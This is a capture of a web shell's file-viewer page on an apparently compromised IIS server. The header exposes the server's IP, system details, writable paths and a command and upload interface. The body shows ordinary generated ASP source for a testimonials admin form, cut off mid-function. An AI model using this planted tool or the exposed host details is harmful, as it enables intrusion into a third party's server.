403Webshell
Server IP : 103.118.17.23  /  Your IP : 216.73.216.169
Web Server : Microsoft-IIS/10.0
System : Windows NT RESELLERPLESK22 10.0 build 20348 (Windows Server 2016) AMD64
User : IWAM_plesk(default) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/vhosts/mesa.org.in/httpdocs/panel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/vhosts/mesa.org.in/httpdocs/panel/testimonialsadd.asp
<%@ CodePage="65001" %>
<%
Response.Buffer = EW_RESPONSE_BUFFER
%>
<!--#include file="ewcfg.asp"-->
<!--#include file="testimonialsinfo.asp"-->
<!--#include file="aspfn.asp"-->
<!--#include file="userfn.asp"-->
<% Call ew_Header(False, EW_CHARSET, False) %>
<%

' Define page object
Dim testimonials_add
Set testimonials_add = New ctestimonials_add
Set Page = testimonials_add

' Page init processing
Call testimonials_add.Page_Init

' Page main
Call testimonials_add.Page_Main

' Global Page Rendering event (in userfn*.asp)
Page_Rendering()

' Page Render event
testimonials_add.Page_Render()
%>
<!--#include file="header.asp"-->
<script type="text/javascript">
// Form object
var CurrentPageID = EW_PAGE_ID = "add";
var CurrentForm = ftestimonialsadd = new ew_Form("ftestimonialsadd", "add");
// Validate form
ftestimonialsadd.Validate = function() {
	if (!this.ValidateRequired)
		return true; // Ignore validation
	var $ = jQuery, fobj = this.GetForm(), $fobj = $(fobj);
	if ($fobj.find("#a_confirm").val() == "F")
		return true;
	var elm, felm, uelm, addcnt = 0;
	var $k = $fobj.find("#" + this.FormKeyCountName); // Get key_count
	var rowcnt = ($k[0]) ? parseInt($k.val(), 10) : 1;
	var startcnt = (rowcnt == 0) ? 0 : 1; // Check rowcnt == 0 => Inline-Add
	var gridinsert = $fobj.find("#a_list").val() == "gridinsert";
	for (var i = startcnt; i <= rowcnt; i++) {
		var infix = ($k[0]) ? String(i) : "";
		$fobj.data("rowindex", infix);
			elm = this.GetElements("x" + infix + "_Enable");
			if (elm && !ew_IsHidden(elm) && !ew_HasValue(elm))
				return this.OnError(elm, "<%= ew_JsEncode2(Replace(testimonials.Enable.ReqErrMsg, "%s", testimonials.Enable.FldCaption)) %>");
			// Fire Form_CustomValidate event
			if (!this.Form_CustomValidate(fobj))
				return false;
	}
	// Process detail forms
	var dfs = $fobj.find("input[name='detailpage']").get();
	for (var i = 0; i < dfs.length; i++) {
		var df = dfs[i], val = df.value;
		if (val && ewForms[val])
			if (!ewForms[val].Validate())
				return false;
	}
	return true;
}
// Form_CustomValidate event
ftestimonialsadd.Form_CustomValidate = 
 function(fobj) { // DO NOT CHANGE THIS LINE!
 	// Your custom validation code here, return false if invalid. 
 	return true;
 }
// Use JavaScript validation or not
<% If EW_CLIENT_VALIDATE Then %>
ftestimonialsadd.ValidateRequired = true; // Use JavaScript validation
<% Else %>
ftestimonialsadd.ValidateRequired = false; // No JavaScript validation
<% End If %>
// Dynamic selection lists
ftestimonialsadd.Lists["x_Enable"] = {"LinkField":"","Ajax":null,"AutoFill":false,"DisplayFields":["","","",""],"ParentFields":[],"ChildFields":[],"FilterFields":[],"Options":[],"Template":""};
ftestimonialsadd.Lists["x_Enable"].Options = <%= ew_ArrayToJson(testimonials.Enable.Options(False)) %>;
<% Set arAS = Nothing %>
// Form object for search
</script>
<script type="text/javascript">
// Write your client script here, no need to add script tags.
</script>
<% Call testimonials_add.ShowPageHeader %>
<% Call testimonials_add.ShowMessage %>
<form name="ftestimonialsadd" id="ftestimonialsadd" class="<%= testimonials_add.FormClassName %>" action="<%= ew_CurrentPage() %>" method="post">
<% If testimonials_add.CheckToken Then %>
<input type="hidden" name="<%= EW_TOKEN_NAME %>" value="<%= testimonials_add.Token %>">
<% End If %>
<input type="hidden" name="t" value="testimonials">
<input type="hidden" name="a_add" id="a_add" value="A">
<input type="hidden" name="modal" value="<%= ew_IIf(testimonials_add.IsModal, "1", "0") %>">
<div class="ewAddDiv"><!-- page* -->
<% If testimonials.Opinion.Visible Then ' Opinion %>
	<div id="r_Opinion" class="form-group">
		<label id="elh_testimonials_Opinion" for="x_Opinion" class="<%= testimonials.LeftColumnClass %>"><%= testimonials.Opinion.FldCaption %></label>
		<div class="<%= testimonials.RightColumnClass %>"><div<%= testimonials.Opinion.CellAttributes %>>
<span id="el_testimonials_Opinion">
<textarea data-table="testimonials" data-field="x_Opinion" name="x_Opinion" id="x_Opinion" cols="35" rows="4" placeholder="<%= testimonials.Opinion.PlaceHolder %>"<%= testimonials.Opinion.EditAttributes %>><%= testimonials.Opinion.EditValue %></textarea>
</span>
<%= testimonials.Opinion.CustomMsg %></div></div>
	</div>
<% End If %>
<% If testimonials.Name.Visible Then ' Name %>
	<div id="r_Name" class="form-group">
		<label id="elh_testimonials_Name" for="x_Name" class="<%= testimonials.LeftColumnClass %>"><%= testimonials.Name.FldCaption %></label>
		<div class="<%= testimonials.RightColumnClass %>"><div<%= testimonials.Name.CellAttributes %>>
<span id="el_testimonials_Name">
<input type="text" data-table="testimonials" data-field="x_Name" name="x_Name" id="x_Name" size="30" maxlength="255" placeholder="<%= testimonials.Name.PlaceHolder %>" value="<%= testimonials.Name.EditValue %>"<%= testimonials.Name.EditAttributes %>>
</span>
<%= testimonials.Name.CustomMsg %></div></div>
	</div>
<% End If %>
<% If testimonials.Designation.Visible Then ' Designation %>
	<div id="r_Designation" class="form-group">
		<label id="elh_testimonials_Designation" for="x_Designation" class="<%= testimonials.LeftColumnClass %>"><%= testimonials.Designation.FldCaption %></label>
		<div class="<%= testimonials.RightColumnClass %>"><div<%= testimonials.Designation.CellAttributes %>>
<span id="el_testimonials_Designation">
<input type="text" data-table="testimonials" data-field="x_Designation" name="x_Designation" id="x_Designation" size="30" maxlength="50" placeholder="<%= testimonials.Designation.PlaceHolder %>" value="<%= testimonials.Designation.EditValue %>"<%= testimonials.Designation.EditAttributes %>>
</span>
<%= testimonials.Designation.CustomMsg %></div></div>
	</div>
<% End If %>
<% If testimonials.Photo.Visible Then ' Photo %>
	<div id="r_Photo" class="form-group">
		<label id="elh_testimonials_Photo" class="<%= testimonials.LeftColumnClass %>"><%= testimonials.Photo.FldCaption %></label>
		<div class="<%= testimonials.RightColumnClass %>"><div<%= testimonials.Photo.CellAttributes %>>
<div id="el_testimonials_Photo">
<div id="fd_x_Photo">
<span title="<%= ew_IIf(testimonials.Photo.FldTitle <> "", testimonials.Photo.FldTitle, Language.Phrase("ChooseFile")) %>" class="btn btn-default btn-sm fileinput-button ewTooltip<% If testimonials.Photo.ReadOnly Or testimonials.Photo.Disabled Then Response.Write " hide" %>" data-trigger="hover">
	<span><%= Language.Phrase("ChooseFileBtn") %></span>
	<input type="file" title=" " data-table="testimonials" data-field="x_Photo"  name="x_Photo" id="x_Photo"<%= testimonials.Photo.EditAttributes %>>
</span>
<input type="hidden" name="fn_x_Photo" id= "fn_x_Photo" value="<%= testimonials.Photo.Upload.FileName %>">
<input type="hidden" name="fa_x_Photo" id= "fa_x_Photo" value="0">
<input type="hidden" name="fs_x_Photo" id= "fs_x_Photo" value="50">
<input type="hidden" name="fx_x_Photo" id= "fx_x_Photo" value="<%= testimonials.Photo.UploadAllowedFileExt %>">
<input type="hidden" name="fm_x_Photo" id= "fm_x_Photo" value="<%= testimonials.Photo.UploadMaxFileSize %>">
</div>
<table id="ft_x_Photo" class="table table-condensed pull-left ewUploadTable"><tbody class="files"></tbody></table>
</div>
<%= testimonials.Photo.CustomMsg %></div></div>
	</div>
<% End If %>
<% If testimonials.Enable.Visible Then ' Enable %>
	<div id="r_Enable" class="form-group">
		<label id="elh_testimonials_Enable" class="<%= testimonials.LeftColumnClass %>"><%= testimonials.Enable.FldCaption %><%= Language.Phrase("FieldRequiredIndicator") %></label>
		<div class="<%= testimonials.RightColumnClass %>"><div<%= testimonials.Enable.CellAttributes %>>
<span id="el_testimonials_Enable">
<div id="tp_x_Enable" class="ewTemplate"><input type="radio" data-table="testimonials" data-field="x_Enable" data-value-separator="<%= testimonials.Enable.DisplayValueSeparatorAttribute %>" name="x_Enable" id="x_Enable" value="{value}"<%= testimonials.Enable.EditAttributes %>></div>
<div id="dsl_x_Enable" data-repeatcolumn="5" class="ewItemList" style="display: none;"><div>
<%= testimonials.Enable.RadioButtonListHtml(False, "x_Enable", -1, testimonials) %>
</div></div>
</span>
<%= testimonials.Enable.CustomMsg %></div></div>
	</div>
<% End If %>
</div><!-- /page* -->
<% If Not testimonials_add.IsModal Then %>
<div class="form-group"><!-- buttons .form-group -->
	<div class="<%= testimonials.OffsetColumnClass %>"><!-- buttons offset -->
<button class="btn btn-primary ewButton" name="btnAction" id="btnAction" type="submit"><%= Language.Phrase("AddBtn") %></button>
<button class="btn btn-default ewButton" name="btnCancel" id="btnCancel" type="button" data-href="<%= testimonials.ReturnUrl %>"><%= Language.Phrase("CancelBtn") %></button>
	</div><!-- /buttons offset -->
</div><!-- /buttons .form-group -->
<% End If %>
</form>
<script type="text/javascript">
ftestimonialsadd.Init();
</script>
<%
Call testimonials_add.ShowPageFooter
If EW_DEBUG_ENABLED Then Response.Write ew_DebugMsg()
%>
<script type="text/javascript">
// Write your table-specific startup script here
// document.write("page loaded");
</script>
<!--#include file="footer.asp"-->
<%

' Clean up and drop page object
Call testimonials_add.Page_Terminate("")
Set testimonials_add = Nothing
%>
<%

'
' Page Class
'
Class ctestimonials_add

	' Page ID
	Public Property Get PageID
		PageID = "add"
	End Property

	' Project ID
	Public Property Get ProjectID
		ProjectID = "panel"
	End Property

	' Table Name
	Public Property Get TableName
		TableName = "testimonials"
	End Property

	' Page Object Name
	Public Property Get PageObjName
		PageObjName = "testimonials_add"
	End Property

	' Field (ID)
	Public Property Get ID
		Set ID = testimonials.ID
	End Property

	' Field (Opinion)
	Public Property Get Opinion
		Set Opinion = testimonials.Opinion
	End Property

	' Field (Name)
	Public Property Get Name
		Set Name = testimonials.Name
	End Property

	' Field (Designation)
	Public Property Get Designation
		Set Designation = testimonials.Designation
	End Property

	' Field (Photo)
	Public Property Get Photo
		Set Photo = testimonials.Photo
	End Property

	' Field (Enable)
	Public Property Get Enable
		Set Enable = testimonials.Enable
	End Property

	' Get field object dictionary (ASP)
	Public Property Get Fields
		Set Fields = testimonials.Fields
	End Property

	' Get field object by name (alias of Fields) (ASP)
	Public Function GetField(Name)
		Set GetField = Fields.Get(Name)
	End Function

	' Get field object by parm (ASP)
	Public Function GetFieldByParm(Parm)
		Dim keys, key
		keys = Fields.Keys()
		For Each key In keys
			If Fields.Get(key).FldParm = Parm Then
				Set GetFieldByParm = Fields.Get(key)
				Exit Function
			End If
		Next
		Set GetFieldByParm = Nothing
	End Function

	' Export document (ASP)
	Dim ExportDoc

	' Page headings
	Dim Heading
	Dim Subheading

	' Page heading
	Function PageHeading()
		PageHeading = ""
		If Heading <> "" Then
			PageHeading = Heading
		ElseIf ew_NotEmpty(testimonials) Then
			PageHeading = testimonials.TableCaption
		End If
	End Function

	' Page subheading
	Function PageSubheading()
		If Subheading <> "" Then
			PageSubheading = Subheading
		Else
			PageSubheading = ""
			If TableName <> "" Then
				PageSubheading = Language.Phrase(PageID)
			End If
		End If
	End Function

	' Page Name
	Public Property Get PageName
		PageName = ew_CurrentPage()
	End Property

	' Page Url
	Public Property Get PageUrl
		PageUrl = ew_CurrentPage() & "?"
		If testimonials.UseTokenInUrl Then PageUrl = PageUrl & "t=" & testimonials.TableVar & "&" ' add page token
	End Property

	' Message
	Public Property Get Message
		Message = Session(EW_SESSION_MESSAGE)
	End Property

	Public Property Let Message(v)
		Dim msg
		msg = Session(EW_SESSION_MESSAGE)
		Call ew_AddMessage(msg, v)
		Session(EW_SESSION_MESSAGE) = msg
	End Property

	Public Property Get FailureMessage
		FailureMessage = Session(EW_SESSION_FAILURE_MESSAGE)
	End Property

	Public Property Let FailureMessage(v)
		Dim msg
		msg = Session(EW_SESSION_FAILURE_MESSAGE)
		Call ew_AddMessage(msg, v)
		Session(EW_SESSION_FAILURE_MESSAGE) = msg
	End Property

	Public Property Get SuccessMessage
		SuccessMessage = Session(EW_SESSION_SUCCESS_MESSAGE)
	End Property

	Public Property Let SuccessMessage(v)
		Dim msg
		msg = Session(EW_SESSION_SUCCESS_MESSAGE)
		Call ew_AddMessage(msg, v)
		Session(EW_SESSION_SUCCESS_MESSAGE) = msg
	End Property

	Public Property Get WarningMessage
		WarningMessage = Session(EW_SESSION_WARNING_MESSAGE)
	End Property

	Public Property Let WarningMessage(v)
		Dim msg
		msg = Session(EW_SESSION_WARNING_MESSAGE)
		Call ew_AddMessage(msg, v)
		Session(EW_SESSION_WARNING_MESSAGE) = msg
	End Property

	' Methods to clear message
	Public Sub ClearMessage()
		Session(EW_SESSION_MESSAGE) = ""
	End Sub

	Public Sub ClearFailureMessage()
		Session(EW_SESSION_FAILURE_MESSAGE) = ""
	End Sub

	Public Sub ClearSuccessMessage()
		Session(EW_SESSION_SUCCESS_MESSAGE) = ""
	End Sub

	Public Sub ClearWarningMessage()
		Session(EW_SESSION_WARNING_MESSAGE) = ""
	End Sub

	Public Sub ClearMessages()
		Session(EW_SESSION_MESSAGE) = ""
		Session(EW_SESSION_FAILURE_MESSAGE) = ""
		Session(EW_SESSION_SUCCESS_MESSAGE) = ""
		Session(EW_SESSION_WARNING_MESSAGE) = ""
	End Sub

	' Show Message
	Public Sub ShowMessage()
		Dim hidden, html, sMessage
		hidden = False
		html = ""

		' Message
		sMessage = Message
		Call Message_Showing(sMessage, "")
		If sMessage <> "" Then ' Message in Session, display
			If Not hidden Then sMessage = "<button type=""button"" class=""close"" data-dismiss=""alert"">&times;</button>" & sMessage
			html = html & "<div class=""alert alert-info ewInfo"">" & sMessage & "</div>"
			Session(EW_SESSION_MESSAGE) = "" ' Clear message in Session
		End If

		' Warning message
		Dim sWarningMessage
		sWarningMessage = WarningMessage
		Call Message_Showing(sWarningMessage, "warning")
		If sWarningMessage <> "" Then ' Message in Session, display
			If Not hidden Then sWarningMessage = "<button type=""button"" class=""close"" data-dismiss=""alert"">&times;</button>" & sWarningMessage
			html = html & "<div class=""alert alert-warning ewWarning"">" & sWarningMessage & "</div>"
			Session(EW_SESSION_WARNING_MESSAGE) = "" ' Clear message in Session
		End If

		' Success message
		Dim sSuccessMessage
		sSuccessMessage = SuccessMessage
		Call Message_Showing(sSuccessMessage, "success")
		If sSuccessMessage <> "" Then ' Message in Session, display
			If Not hidden Then sSuccessMessage = "<button type=""button"" class=""close"" data-dismiss=""alert"">&times;</button>" & sSuccessMessage
			html = html & "<div class=""alert alert-success ewSuccess"">" & sSuccessMessage & "</div>"
			Session(EW_SESSION_SUCCESS_MESSAGE) = "" ' Clear message in Session
		End If

		' Failure message
		Dim sErrorMessage
		sErrorMessage = FailureMessage
		Call Message_Showing(sErrorMessage, "failure")
		If sErrorMessage <> "" Then ' Message in Session, display
			If Not hidden Then sErrorMessage = "<button type=""button"" class=""close"" data-dismiss=""alert"">&times;</button>" & sErrorMessage
			html = html & "<div class=""alert alert-danger ewError"">" & sErrorMessage & "</div>"
			Session(EW_SESSION_FAILURE_MESSAGE) = "" ' Clear message in Session
		End If
		Response.Write "<div class=""ewMessageDialog""" & ew_IIf(hidden, " style=""display: none;""", "") & ">" & html & "</div>"
	End Sub
	Dim PageHeader
	Dim PageFooter

	' Show Page Header
	Public Sub ShowPageHeader()
		Dim sHeader
		sHeader = PageHeader
		Call Page_DataRendering(sHeader)
		If sHeader <> "" Then ' Header exists, display
			Response.Write "<p>" & sHeader & "</p>"
		End If
	End Sub

	' Show Page Footer
	Public Sub ShowPageFooter()
		Dim sFooter
		sFooter = PageFooter
		Call Page_DataRendered(sFooter)
		If sFooter <> "" Then ' Footer exists, display
			Response.Write "<p>" & sFooter & "</p>"
		End If
	End Sub

	'
	' Validate Page request
	'
	Public Function IsPageRequest()
		If testimonials.UseTokenInUrl Then
			IsPageRequest = False
			If ew_NotEmpty(ObjForm) Then
				IsPageRequest = (testimonials.TableVar = ObjForm.GetValue("t"))
			End If
			If Request.QueryString("t").Count > 0 Then
				IsPageRequest = (testimonials.TableVar = Request.QueryString("t"))
			End If
		Else
			IsPageRequest = True
		End If
	End Function
	Dim Token
	Dim CheckToken
	Dim TokenTimeout

	' Valid Post
	Function ValidPost()
		If Not CheckToken Or Not ew_IsPost() Then
			ValidPost = True
			Exit Function
		End If
		If Request.Form(EW_TOKEN_NAME).Count = 0 Then
			ValidPost = False
			Exit Function
		End If
		ValidPost = ew_CheckToken(Request.Form(EW_TOKEN_NAME),TokenTimeout)
	End Function

	' Create Token
	Sub CreateToken()
		If CheckToken And Token = "" Then
			Token = ew_CreateToken()
			gsToken = Token ' Save to global variable
		End If
	End Sub

	'
	' Class initialize
	'
	Private Sub Class_Initialize()
		Session.LCID = 1033 ' Always use US locale id
		If IsEmpty(StartTimer) Then StartTimer = Timer ' Init start time

		' Check Token
		Token = ""
		CheckToken = EW_CHECK_TOKEN
		TokenTimeout = 0
		TokenTimeout = ew_SessionTimeoutTime()

		' Initialize language object
		If IsEmpty(Language) Then
			Set Language = New cLanguage
			Call Language.LoadPhrases
		End If

		' Initialize table object
		If IsEmpty(testimonials) Then Set testimonials = New ctestimonials
		Set Table = testimonials

		' Initialize URLs
		' Initialize form object

		Set ObjForm = Nothing

		' Get resize object
		Call ew_GetResizeObj

		' Intialize page id (for backward compatibility)
		EW_PAGE_ID = "add"

		' Initialize table name (for backward compatibility)
		EW_TABLE_NAME = "testimonials"

		' Debug message
		Call ew_LoadDebugMsg

		' Open connection to the database
		If IsEmpty(Conn) Then
			Set Conn = ew_Connect(testimonials.TableDBID)
		End If
	End Sub

	'
	' Page_Init
	'
	Sub Page_Init()

		' Is modal
		IsModal = (Request.QueryString("modal") = "1" Or Request.Form("modal") = "1")

		' User profile
		Set UserProfile = New cUserProfile

		' Security
		Set Security = New cAdvancedSecurity
		If Not Security.IsLoggedIn() Then Security.AutoLogin()
		Call Security.LoadCurrentUserLevel(ProjectID & TableName)
		If Not Security.CanAdd Then
			Call Security.SaveLastUrl
			If Security.CanList Then
				Call Page_Terminate(ew_GetUrl("testimonialslist.asp"))
			Else
				Call Page_Terminate(ew_GetUrl("login.asp"))
			End If
		End If

		' Create form object
		Set ObjForm = New cFormObj
		testimonials.CurrentAction = ew_IIf(Request.QueryString("a").Count > 0, Request.QueryString("a") & "", ObjForm.GetValue("a_list") & "") ' Set up current action
		Call testimonials.Opinion.SetVisibility(testimonials)
		Call testimonials.Name.SetVisibility(testimonials)
		Call testimonials.Designation.SetVisibility(testimonials)
		Call testimonials.Photo.SetVisibility(testimonials)
		Call testimonials.Enable.SetVisibility(testimonials)

		' Global page loading event (in userfn*.asp)
		Call Page_Loading

		' Page load event, used in current page
		Call Page_Load

		' Check token
		If Not ValidPost() Then
			Response.Write Language.Phrase("InvalidPostRequest")
			Call Page_Terminate("")
			Response.End
		End If

		' Process auto fill
		Dim results
		If Request.Form("ajax") = "autofill" Then
			results = testimonials.GetAutoFill(Request.Form("name"), Request.Form("q"))
			If results <> "" Then

				' Clean output buffer
				If Response.Buffer Then Response.Clear
				Response.Write results
				Call Page_Terminate("")
				Response.End
			End If
		End If

		' Create Token
		Call CreateToken
	End Sub

	'
	' Page_Terminate
	'
	Sub Page_Terminate(url)
		If Request.Form("customexport")&"" = "" Then

			' Page unload event, used in current page
			Call Page_Unload

			' Global page unloaded event (in userfn*.asp)
			Call Page_Unloaded
		End If

		' Export
		If ew_NotEmpty(testimonials) Then
			If testimonials.Export <> "" And Request.Form("data").Count > 0 Then
				Dim sContent
				sContent = Request.Form("data")
				gsExportFile = Request.Form("filename")
				If gsExportFile = "" Then gsExportFile = testimonials.TableVar
				If testimonials.Export = "pdf" Then
					Call ExportPdf(sContent)
				ElseIf testimonials.Export = "email" Then
					Response.Write ExportEmail(sContent)
				ElseIf testimonials.Export = "excel" Then
					Call ExportExcel(sContent)
				ElseIf testimonials.Export = "word" Then
					Call ExportWord(sContent)
				End If
			End If
		End If
		Dim sRedirectUrl
		sRedirectUrl = url
		Call Page_Redirecting(sRedirectUrl)
		Call ew_CloseConn ' Close Connection
		Set Security = Nothing
		Set ObjForm = Nothing
		Set gResizeObj = Nothing

		' Go to URL if specified
		If gsExport & "" = "" Then
			If sRedirectUrl <> "" Then
				If Response.Buffer Then Response.Clear

				' Handle modal response
				If IsModal Then ' Show as modal
					Dim row, pageName
					Set row = Dictionary()
					Call row.Add("url", sRedirectURL)
					Call row.Add("modal", "1")
					pageName = ew_GetPageName(sRedirectURL)
					If pageName <> testimonials.ListUrl Then ' Not List page
						Call row.Add("caption", testimonials.GetModalCaption(pageName))
						If pageName = "testimonialsview.asp" Then
							Call row.Add("view", "1")
						End If
					Else 'List page should not be shown as modal => error
						Call row.Add("error", FailureMessage)
						Call ClearFailureMessage
					End If
					Call ResponseJson
					Response.Write "[" & row.ToJson() & "]"
					Set row = Nothing
					Response.End
				Else
					Call ew_SaveDebugMsg
					Response.Redirect sRedirectUrl
				End If
			End If
		End If
		Set testimonials = Nothing
		Call ew_CleanUp
	End Sub

	'
	' Page_Terminate (End)
	'

	Dim FormClassName
	Dim IsModal
	Dim IsMobileOrModal
	Dim DbMasterFilter, DbDetailFilter
	Dim StartRec
	Dim Priv
	Dim OldRecordset
	Dim CopyRecord

	'
	' Page main
	'
	Sub Page_Main()
		IsMobileOrModal = False
		If IsModal Then	gbSkipHeaderFooter = True
		FormClassName = "ewForm ewAddForm form-horizontal"

		' Set up current action
		If ObjForm.GetValue("a_add")&"" <> "" Then
			testimonials.CurrentAction = ObjForm.GetValue("a_add") ' Get form action

		' Not post back
		Else

			' Load key values from QueryString
			CopyRecord = True
			If Request.QueryString("ID").Count > 0 Then
				testimonials.ID.QueryStringValue = Request.QueryString("ID")
				Call testimonials.SetKey("ID", testimonials.ID.CurrentValue) ' Set up key
			Else
				Call testimonials.SetKey("ID", "") ' Clear key
				CopyRecord = False
			End If
			If CopyRecord Then
				testimonials.CurrentAction = "C" ' Copy Record
			Else
				testimonials.CurrentAction = "I" ' Display Blank Record
			End If
		End If
		Dim loaded
		loaded = LoadOldRecord() ' Load old recordset

		' Load form values
		If ObjForm.GetValue("a_add")&"" <> "" Then
			Call LoadFormValues ' Load form values
		End If

		' Validate form if post back
		If ObjForm.GetValue("a_add")&"" <> "" Then
			If Not ValidateForm() Then
				testimonials.CurrentAction = "I" ' Form error, reset action
				testimonials.EventCancelled = True ' Event cancelled
				Call RestoreFormValues ' Restore form values
				FailureMessage = gsFormError
			End If
		End If

		' Perform current action
		Select Case testimonials.CurrentAction
			Case "I" ' Blank record
			Case "C" ' Copy an existing record
				If Not loaded Then ' Record not loaded
					If FailureMessage = "" Then FailureMessage = Language.Phrase("NoRecord") ' No record found
					Call Page_Terminate("testimonialslist.asp") ' No matching record, return to list
				End If
			Case "A" ' Add new record
				testimonials.SendEmail = True ' Send email on add success
				If AddRow(OldRecordset) Then ' Add successful
					If SuccessMessage = "" Then SuccessMessage = Language.Phrase("AddSuccess") ' Set up success message
					Dim sReturnUrl
					sReturnUrl = testimonials.ReturnUrl
					If ew_GetPageName(sReturnUrl) = "testimonialslist.asp" Then
						sReturnUrl = testimonials.AddMasterUrl(sReturnUrl) ' List page, return to List page with correct master key if necessary
					ElseIf ew_GetPageName(sReturnUrl) = "testimonialsview.asp" Then
						sReturnUrl = testimonials.ViewUrl("") ' View paging, return to View page with keyurl directly
					End If
					Call Page_Terminate(sReturnUrl) ' Clean up and return
				Else
					testimonials.EventCancelled = True ' Event cancelled
					Call RestoreFormValues ' Add failed, restore form values
				End If
		End Select

		' Set up Breadcrumb
		Call SetupBreadcrumb

		' Render row based on row type
		testimonials.RowType = EW_ROWTYPE_ADD ' Render add type

		' Render row
		Call testimonials.ResetAttrs
		Call RenderRow
	End Sub

	'
	' Get upload files
	'
	Sub GetUploadFiles()

		' Get upload data
		testimonials.Photo.Upload.Index = ObjForm.Index
		testimonials.Photo.Upload.UploadFile()
		testimonials.Photo.CurrentValue = testimonials.Photo.Upload.FileName
	End Sub

	'
	' Load default values
	'
	Sub LoadDefaultValues()
		testimonials.ID.CurrentValue = Null
		testimonials.ID.OldValue = testimonials.ID.CurrentValue
		testimonials.Opinion.CurrentValue = Null
		testimonials.Opinion.OldValue = testimonials.Opinion.CurrentValue
		testimonials.Name.CurrentValue = Null
		testimonials.Name.OldValue = testimonials.Name.CurrentValue
		testimonials.Designation.CurrentValue = Null
		testimonials.Designation.OldValue = testimonials.Designation.CurrentValue
		testimonials.Photo.Upload.DbValue = Null
		testimonials.Photo.OldValue = testimonials.Photo.Upload.DbValue
		testimonials.Photo.CurrentValue = Null ' Clear file related field
		testimonials.Enable.CurrentValue = Null
		testimonials.Enable.OldValue = testimonials.Enable.CurrentValue
	End Sub

	'
	' Load form values
	'
	Sub LoadFormValues()

		' Load values from form
		Call GetUploadFiles ' Get upload files
		If Not testimonials.Opinion.FldIsDetailKey Then testimonials.Opinion.FormValue = ObjForm.GetValue("x_Opinion")
		If Not testimonials.Name.FldIsDetailKey Then testimonials.Name.FormValue = ObjForm.GetValue("x_Name")
		If Not testimonials.Designation.FldIsDetailKey Then testimonials.Designation.FormValue = ObjForm.GetValue("x_Designation")
		If Not testimonials.Enable.FldIsDetailKey Then testimonials.Enable.FormValue = ObjForm.GetValue("x_Enable")
	End Sub

	'
	' Restore form values
	'
	Sub RestoreFormValues()
		testimonials.Opinion.CurrentValue = testimonials.Opinion.FormValue
		testimonials.Name.CurrentValue = testimonials.Name.FormValue
		testimonials.Designation.CurrentValue = testimonials.Designation.FormValue
		testimonials.Enable.CurrentValue = testimonials.Enable.FormValue
	End Sub

	'
	' Load row based on key values
	'
	Function LoadRow()
		Dim RsRow, sSql, sFilter
		sFilter = testimonials.KeyFilter

		' Call Row Selecting event
		Call testimonials.Row_Selecting(sFilter)

		' Load SQL based on filter
		testimonials.CurrentFilter = sFilter
		sSql = testimonials.SQL
		Call ew_SetDebugMsg("LoadRow: " & sSql) ' Show SQL for debugging
		Set RsRow = ew_LoadRowByDbid(sSql, testimonials.TableDBID)
		If RsRow.EOF Then
			LoadRow = False
		Else
			LoadRow = True
			RsRow.MoveFirst
			Call LoadRowValues(RsRow) ' Load row values
		End If
		RsRow.Close
		Set RsRow = Nothing
	End Function

	'
	' Load row values from recordset
	'
	Sub LoadRowValues(RsRow)
		Dim sDetailFilter
		If Not EW_DEBUG_ENABLED Then On Error Resume Next
		If IsNull(RsRow) Then
			Set RsRow = NewRow()
		End If

		' Call Row Selected event
		Call testimonials.Row_Selected(RsRow)
		If ew_Empty(RsRow) Then Exit Sub
		If RsRow.EOF Then Exit Sub
		testimonials.ID.DbValue = RsRow("ID")
		testimonials.Opinion.DbValue = RsRow("Opinion")
		testimonials.Name.DbValue = RsRow("Name")
		testimonials.Designation.DbValue = RsRow("Designation")
		testimonials.Photo.Upload.DbValue = RsRow("Photo")
		testimonials.Photo.DbValue = testimonials.Photo.Upload.DbValue
		testimonials.Enable.DbValue = RsRow("Enable")
	End Sub

	' Return a row with default values
	Function NewRow
		Call LoadDefaultValues
		Dim cnn, rs, sSql, sFilter

		' Clear any previous errors
		Err.Clear
		Set cnn = testimonials.TableConnection
		sFilter = testimonials.CurrentFilter
		testimonials.CurrentFilter = "(0 = 1)"
		sSql = testimonials.SQL
		testimonials.CurrentFilter = sFilter
		Set rs = Server.CreateObject("ADODB.Recordset")
		rs.CursorLocation = 3 ' adUseClient
		Call ew_SetDebugMsg("NewRow: " & sSql) ' Show SQL for debugging
		rs.Open sSql, cnn, 3, 4 ' adOpenStatic, adLockBatchOptimistic

		' Disconnect the Recordset
		Set rs.ActiveConnection = Nothing

		' Add new record
		rs.AddNew
		rs("Opinion") = testimonials.Opinion.CurrentValue
		rs("Name") = testimonials.Name.CurrentValue
		rs("Designation") = testimonials.Designation.CurrentValue
		rs("Photo") = testimonials.Photo.Upload.DbValue
		rs("Enable") = testimonials.Enable.CurrentValue

		' Return the recordset
		If Err.Number = 0 Then
			Set NewRow = rs
		Else
			Set NewRow = Nothing
		End If
	End Function

	' Load DbValue from recordset
	Sub LoadDbValues(Rs)
		If Not EW_DEBUG_ENABLED Then On Error Resume Next
		If ew_Empty(Rs) Then Exit Sub
		If Rs.EOF Then Exit Sub
		testimonials.ID.m_DbValue = Rs("ID")
		testimonials.Opinion.m_DbValue = Rs("Opinion")
		testimonials.Name.m_DbValue = Rs("Name")
		testimonials.Designation.m_DbValue = Rs("Designation")
		testimonials.Photo.Upload.DbValue = Rs("Photo")
		testimonials.Enable.m_DbValue = Rs("Enable")
	End Sub

	' Load old record
	Function LoadOldRecord()

		' Load key values from Session
		Dim bValidKey
		bValidKey = True
		If testimonials.GetKey("ID")&"" <> "" Then
			testimonials.ID.CurrentValue = testimonials.GetKey("ID") ' ID
		Else
			bValidKey = False
		End If

		' Load old record
		OldRecordset = Null
		If bValidKey Then
			testimonials.CurrentFilter = testimonials.KeyFilter
			Dim sSql
			sSql = testimonials.SQL
			Set OldRecordset = ew_LoadRecordsetByDbid(sSql, testimonials.TableDBID)
		End If
		Call LoadRowValues(OldRecordset) ' Load row values
		LoadOldRecord = bValidKey
	End Function

	'
	' Render row values based on field settings
	'
	Sub RenderRow()

		' Initialize URLs
		' Call Row Rendering event

		Call testimonials.Row_Rendering

		'
		' Common render codes for all row types
		'
		' ID
		' Opinion
		' Name
		' Designation
		' Photo
		' Enable
		'
		' View Row
		'

		If testimonials.RowType = EW_ROWTYPE_VIEW Then ' View row

			' ID
			testimonials.ID.ViewValue = testimonials.ID.CurrentValue
